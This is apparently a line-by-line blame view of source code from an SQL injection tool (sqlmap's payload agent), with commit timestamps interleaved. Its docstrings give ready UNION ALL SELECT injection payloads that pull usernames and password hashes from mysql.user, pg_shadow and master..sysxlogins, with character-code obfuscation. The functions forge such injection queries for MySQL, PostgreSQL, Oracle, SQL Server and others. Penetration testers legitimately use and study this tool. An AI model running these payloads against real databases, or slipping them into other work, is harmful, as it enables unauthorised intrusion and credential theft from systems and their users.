MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user
|
|
|
|
MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488
|
|
|
|
|
|
|
|
PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow
|
|
|
|
PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713
|
|
|
|
|
|
|
|
Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))
|
|
|
|
Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738
|
|
|
|
|
|
|
|
Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins
|
|
|
|
Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254
|
|
|
|
|
|
|
|
@param query: it is a processed query string unescaped to be
|
|
|
|
forged within an UNION ALL SELECT statement
|
|
|
|
@type query: C{str}
|
|
|
|
|
2011-01-13 12:41:55 +03:00
|
|
|
@param position: it is the NULL position where it is possible
|
2008-10-15 19:38:22 +04:00
|
|
|
to inject the query
|
2011-01-13 12:41:55 +03:00
|
|
|
@type position: C{int}
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
@return: UNION ALL SELECT query string forged
|
|
|
|
@rtype: C{str}
|
|
|
|
"""
|
|
|
|
|
2010-12-22 15:16:04 +03:00
|
|
|
if query.startswith("SELECT "):
|
2011-01-13 20:36:54 +03:00
|
|
|
query = query[len("SELECT "):]
|
2010-12-22 15:16:04 +03:00
|
|
|
|
2011-01-12 01:18:47 +03:00
|
|
|
inbandQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-01-03 02:26:45 +03:00
|
|
|
if query.startswith("TOP"):
|
2011-01-13 20:36:54 +03:00
|
|
|
topNum = re.search("\ATOP\s+([\d]+)\s+", query, re.I).group(1)
|
|
|
|
query = query[len("TOP %s " % topNum):]
|
2009-01-03 02:26:45 +03:00
|
|
|
inbandQuery += "TOP %s " % topNum
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I)
|
|
|
|
|
|
|
|
if intoRegExp:
|
|
|
|
intoRegExp = intoRegExp.group(1)
|
|
|
|
query = query[:query.index(intoRegExp)]
|
|
|
|
|
2011-01-15 18:14:22 +03:00
|
|
|
if getIdentifiedDBMS() in INBAND_FROM_TABLE and inbandQuery.endswith(INBAND_FROM_TABLE[getIdentifiedDBMS()]):
|
|
|
|
inbandQuery = inbandQuery[:-len(INBAND_FROM_TABLE[getIdentifiedDBMS()])]
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-11-18 20:55:43 +03:00
|
|
|
for element in range(count):
|
2008-10-15 19:38:22 +04:00
|
|
|
if element > 0:
|
|
|
|
inbandQuery += ", "
|
|
|
|
|
2011-01-13 12:41:55 +03:00
|
|
|
if element == position:
|
2011-01-16 04:17:09 +03:00
|
|
|
if " FROM " in query and "EXISTS(" not in query and not query.startswith("SELECT "):
|
2008-12-22 22:36:01 +03:00
|
|
|
conditionIndex = query.index(" FROM ")
|
|
|
|
inbandQuery += query[:conditionIndex]
|
2008-10-15 19:38:22 +04:00
|
|
|
else:
|
2008-12-22 22:36:01 +03:00
|
|
|
inbandQuery += query
|
2008-10-15 19:38:22 +04:00
|
|
|
else:
|
2011-01-13 12:41:55 +03:00
|
|
|
inbandQuery += char
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2011-01-16 04:17:09 +03:00
|
|
|
if " FROM " in query and "EXISTS(" not in query and not query.startswith("SELECT "):
|
2008-12-22 22:36:01 +03:00
|
|
|
conditionIndex = query.index(" FROM ")
|
|
|
|
inbandQuery += query[conditionIndex:]
|
|
|
|
|
2011-01-15 18:14:22 +03:00
|
|
|
if getIdentifiedDBMS() in INBAND_FROM_TABLE:
|
2008-10-15 19:38:22 +04:00
|
|
|
if " FROM " not in inbandQuery:
|
2011-01-15 18:14:22 +03:00
|
|
|
inbandQuery += INBAND_FROM_TABLE[getIdentifiedDBMS()]
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if intoRegExp:
|
|
|
|
inbandQuery += intoRegExp
|
|
|
|
|
2010-12-22 18:47:52 +03:00
|
|
|
if multipleUnions:
|
|
|
|
inbandQuery += " UNION ALL SELECT "
|
|
|
|
|
|
|
|
for element in range(count):
|
|
|
|
if element > 0:
|
|
|
|
inbandQuery += ", "
|
|
|
|
|
2011-01-13 12:41:55 +03:00
|
|
|
if element == position:
|
2010-12-22 18:47:52 +03:00
|
|
|
inbandQuery += multipleUnions
|
|
|
|
else:
|
2011-01-13 12:41:55 +03:00
|
|
|
inbandQuery += char
|
2010-12-22 18:47:52 +03:00
|
|
|
|
2011-01-15 18:14:22 +03:00
|
|
|
if getIdentifiedDBMS() in INBAND_FROM_TABLE:
|
|
|
|
inbandQuery += INBAND_FROM_TABLE[getIdentifiedDBMS()]
|
2010-12-22 18:47:52 +03:00
|
|
|
|
2011-01-12 01:18:47 +03:00
|
|
|
inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-10-15 16:52:33 +04:00
|
|
|
return inbandQuery
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-01-09 02:23:15 +03:00
|
|
|
def limitQuery(self, num, query, field=None):
|
2008-12-10 20:23:07 +03:00
|
|
|
"""
|
|
|
|
Take in input a query string and return its limited query string.
|
|
|
|
|
|
|
|
Example:
|
|
|
|
|
|
|
|
Input: SELECT user FROM mysql.users
|
|
|
|
Output: SELECT user FROM mysql.users LIMIT <num>, 1
|
|
|
|
|
|
|
|
@param num: limit number
|
|
|
|
@type num: C{int}
|
|
|
|
|
|
|
|
@param query: query to be processed
|
|
|
|
@type query: C{str}
|
|
|
|
|
2008-12-22 22:36:01 +03:00
|
|
|
@param field: field within the query
|
|
|
|
@type field: C{list}
|
2008-12-10 20:23:07 +03:00
|
|
|
|
|
|
|
@return: limited query string
|
|
|
|
@rtype: C{str}
|
|
|
|
"""
|
|
|
|
|
2010-04-09 19:48:53 +04:00
|
|
|
limitedQuery = query
|
2011-01-13 20:36:54 +03:00
|
|
|
limitStr = queries[getIdentifiedDBMS()].limit.query
|
2010-04-09 19:48:53 +04:00
|
|
|
fromIndex = limitedQuery.index(" FROM ")
|
|
|
|
untilFrom = limitedQuery[:fromIndex]
|
|
|
|
fromFrom = limitedQuery[fromIndex+1:]
|
|
|
|
orderBy = False
|
2008-12-10 20:23:07 +03:00
|
|
|
|
2011-01-13 20:36:54 +03:00
|
|
|
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE ):
|
|
|
|
limitStr = queries[getIdentifiedDBMS()].limit.query % (num, 1)
|
2008-12-10 20:23:07 +03:00
|
|
|
limitedQuery += " %s" % limitStr
|
2010-11-03 13:08:27 +03:00
|
|
|
|
2011-01-13 20:36:54 +03:00
|
|
|
elif getIdentifiedDBMS() == DBMS.FIREBIRD:
|
|
|
|
limitStr = queries[getIdentifiedDBMS()].limit.query % (num+1, num+1)
|
2010-03-18 20:20:54 +03:00
|
|
|
limitedQuery += " %s" % limitStr
|
2008-12-10 20:23:07 +03:00
|
|
|
|
2011-01-13 20:36:54 +03:00
|
|
|
elif getIdentifiedDBMS() == DBMS.ORACLE:
|
2008-12-23 01:48:44 +03:00
|
|
|
if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery:
|
2010-04-09 19:48:53 +04:00
|
|
|
orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):]
|
2008-12-23 01:48:44 +03:00
|
|
|
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
|
|
|
|
|
2008-12-22 03:51:09 +03:00
|
|
|
if query.startswith("SELECT "):
|
|
|
|
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
|
|
|
|
else:
|
2008-12-23 01:48:44 +03:00
|
|
|
limitedQuery = "%s FROM (SELECT %s, %s" % (untilFrom, ", ".join(f for f in field), limitStr)
|
2008-12-10 20:23:07 +03:00
|
|
|
limitedQuery = limitedQuery % fromFrom
|
|
|
|
limitedQuery += "=%d" % (num + 1)
|
|
|
|
|
2011-01-13 20:36:54 +03:00
|
|
|
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
2009-02-03 02:44:19 +03:00
|
|
|
forgeNotIn = True
|
|
|
|
|
2008-12-23 01:48:44 +03:00
|
|
|
if " ORDER BY " in limitedQuery:
|
2010-04-09 19:48:53 +04:00
|
|
|
orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):]
|
2008-12-23 01:48:44 +03:00
|
|
|
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
|
2008-12-10 20:23:07 +03:00
|
|
|
|
2010-01-05 19:15:31 +03:00
|
|
|
notDistincts = re.findall("DISTINCT[\(\s+](.+?)\)*\s+", limitedQuery, re.I)
|
|
|
|
|
|
|
|
for notDistinct in notDistincts:
|
|
|
|
limitedQuery = limitedQuery.replace("DISTINCT(%s)" % notDistinct, notDistinct)
|
|
|
|
limitedQuery = limitedQuery.replace("DISTINCT %s" % notDistinct, notDistinct)
|
|
|
|
|
2009-02-03 02:44:19 +03:00
|
|
|
if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
|
2011-01-13 20:36:54 +03:00
|
|
|
topNums = re.search(queries[getIdentifiedDBMS()].limitregexp.query, limitedQuery, re.I)
|
2009-02-03 02:44:19 +03:00
|
|
|
|
|
|
|
if topNums:
|
|
|
|
topNums = topNums.groups()
|
|
|
|
quantityTopNums = topNums[0]
|
|
|
|
limitedQuery = limitedQuery.replace("TOP %s" % quantityTopNums, "TOP 1", 1)
|
|
|
|
startTopNums = topNums[1]
|
|
|
|
limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num)
|
|
|
|
forgeNotIn = False
|
|
|
|
else:
|
|
|
|
topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
|
|
|
|
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
|
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
if forgeNotIn:
|
2010-01-05 19:15:31 +03:00
|
|
|
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
|
|
|
|
|
2009-01-31 02:58:48 +03:00
|
|
|
if " WHERE " in limitedQuery:
|
|
|
|
limitedQuery = "%s AND %s " % (limitedQuery, field)
|
|
|
|
else:
|
|
|
|
limitedQuery = "%s WHERE %s " % (limitedQuery, field)
|
2010-01-05 19:15:31 +03:00
|
|
|
|
2009-01-03 02:26:45 +03:00
|
|
|
limitedQuery += "NOT IN (%s" % (limitStr % num)
|
|
|
|
limitedQuery += "%s %s)" % (field, fromFrom)
|
2008-12-10 20:23:07 +03:00
|
|
|
|
2010-04-09 19:48:53 +04:00
|
|
|
if orderBy:
|
|
|
|
limitedQuery += orderBy
|
|
|
|
|
2010-10-15 16:52:33 +04:00
|
|
|
return limitedQuery
|
2008-12-10 20:23:07 +03:00
|
|
|
|
2008-12-19 23:09:46 +03:00
|
|
|
def forgeCaseStatement(self, expression):
|
|
|
|
"""
|
|
|
|
Take in input a query string and return its CASE statement query
|
|
|
|
string.
|
|
|
|
|
|
|
|
Example:
|
|
|
|
|
|
|
|
Input: (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'
|
|
|
|
Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y') THEN 1 ELSE 0 END)
|
|
|
|
|
|
|
|
@param expression: expression to be processed
|
|
|
|
@type num: C{str}
|
|
|
|
|
|
|
|
@return: processed expression
|
|
|
|
@rtype: C{str}
|
|
|
|
"""
|
|
|
|
|
2011-01-14 17:20:28 +03:00
|
|
|
if getIdentifiedDBMS() is not None and hasattr(queries[getIdentifiedDBMS()], "case"):
|
|
|
|
return queries[getIdentifiedDBMS()].case.query % expression
|
|
|
|
else:
|
|
|
|
return expression
|
2008-12-19 23:09:46 +03:00
|
|
|
|
2010-10-29 20:11:50 +04:00
|
|
|
def addPayloadDelimiters(self, inpStr):
|
|
|
|
"""
|
|
|
|
Adds payload delimiters around the input string
|
|
|
|
"""
|
|
|
|
retVal = inpStr
|
|
|
|
|
|
|
|
if inpStr:
|
|
|
|
retVal = "%s%s%s" % (PAYLOAD_DELIMITER, inpStr, PAYLOAD_DELIMITER)
|
|
|
|
|
|
|
|
return retVal
|
|
|
|
|
|
|
|
def removePayloadDelimiters(self, inpStr, urlencode_=True):
|
|
|
|
"""
|
|
|
|
Removes payload delimiters from inside the input string
|
|
|
|
"""
|
|
|
|
retVal = inpStr
|
|
|
|
|
|
|
|
if inpStr:
|
2010-10-31 14:09:29 +03:00
|
|
|
if urlencode_:
|
2010-10-31 15:20:38 +03:00
|
|
|
regObj = getCompiledRegex("(?P<result>%s.*?%s)" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER))
|
2010-10-31 14:51:45 +03:00
|
|
|
|
|
|
|
for match in regObj.finditer(inpStr):
|
2010-11-18 13:41:06 +03:00
|
|
|
retVal = retVal.replace(match.group("result"), urlencode(match.group("result").strip(PAYLOAD_DELIMITER), convall=True))
|
2010-10-31 14:51:45 +03:00
|
|
|
else:
|
|
|
|
retVal = retVal.replace(PAYLOAD_DELIMITER, '')
|
2010-10-29 20:11:50 +04:00
|
|
|
|
|
|
|
return retVal
|
|
|
|
|
|
|
|
def extractPayload(self, inpStr):
|
|
|
|
"""
|
|
|
|
Extracts payload from inside of the input string
|
|
|
|
"""
|
|
|
|
retVal = None
|
|
|
|
|
|
|
|
if inpStr:
|
2010-10-31 14:17:51 +03:00
|
|
|
regObj = getCompiledRegex("%s(?P<result>.*?)%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER))
|
2010-10-29 20:11:50 +04:00
|
|
|
match = regObj.search(inpStr)
|
|
|
|
|
|
|
|
if match:
|
2010-10-31 14:17:51 +03:00
|
|
|
retVal = match.group("result")
|
2010-10-29 20:11:50 +04:00
|
|
|
|
|
|
|
return retVal
|
|
|
|
|
|
|
|
def replacePayload(self, inpStr, payload):
|
|
|
|
"""
|
|
|
|
Replaces payload inside the input string with a given payload
|
|
|
|
"""
|
|
|
|
retVal = inpStr
|
|
|
|
|
|
|
|
if inpStr:
|
2010-10-31 15:24:19 +03:00
|
|
|
regObj = getCompiledRegex("(%s.*?%s)" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER))
|
2010-10-31 15:02:20 +03:00
|
|
|
retVal = regObj.sub("%s%s%s" % (PAYLOAD_DELIMITER, payload, PAYLOAD_DELIMITER), inpStr)
|
2010-10-29 20:11:50 +04:00
|
|
|
|
|
|
|
return retVal
|
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
# SQL agent
|
|
|
|
agent = Agent()
|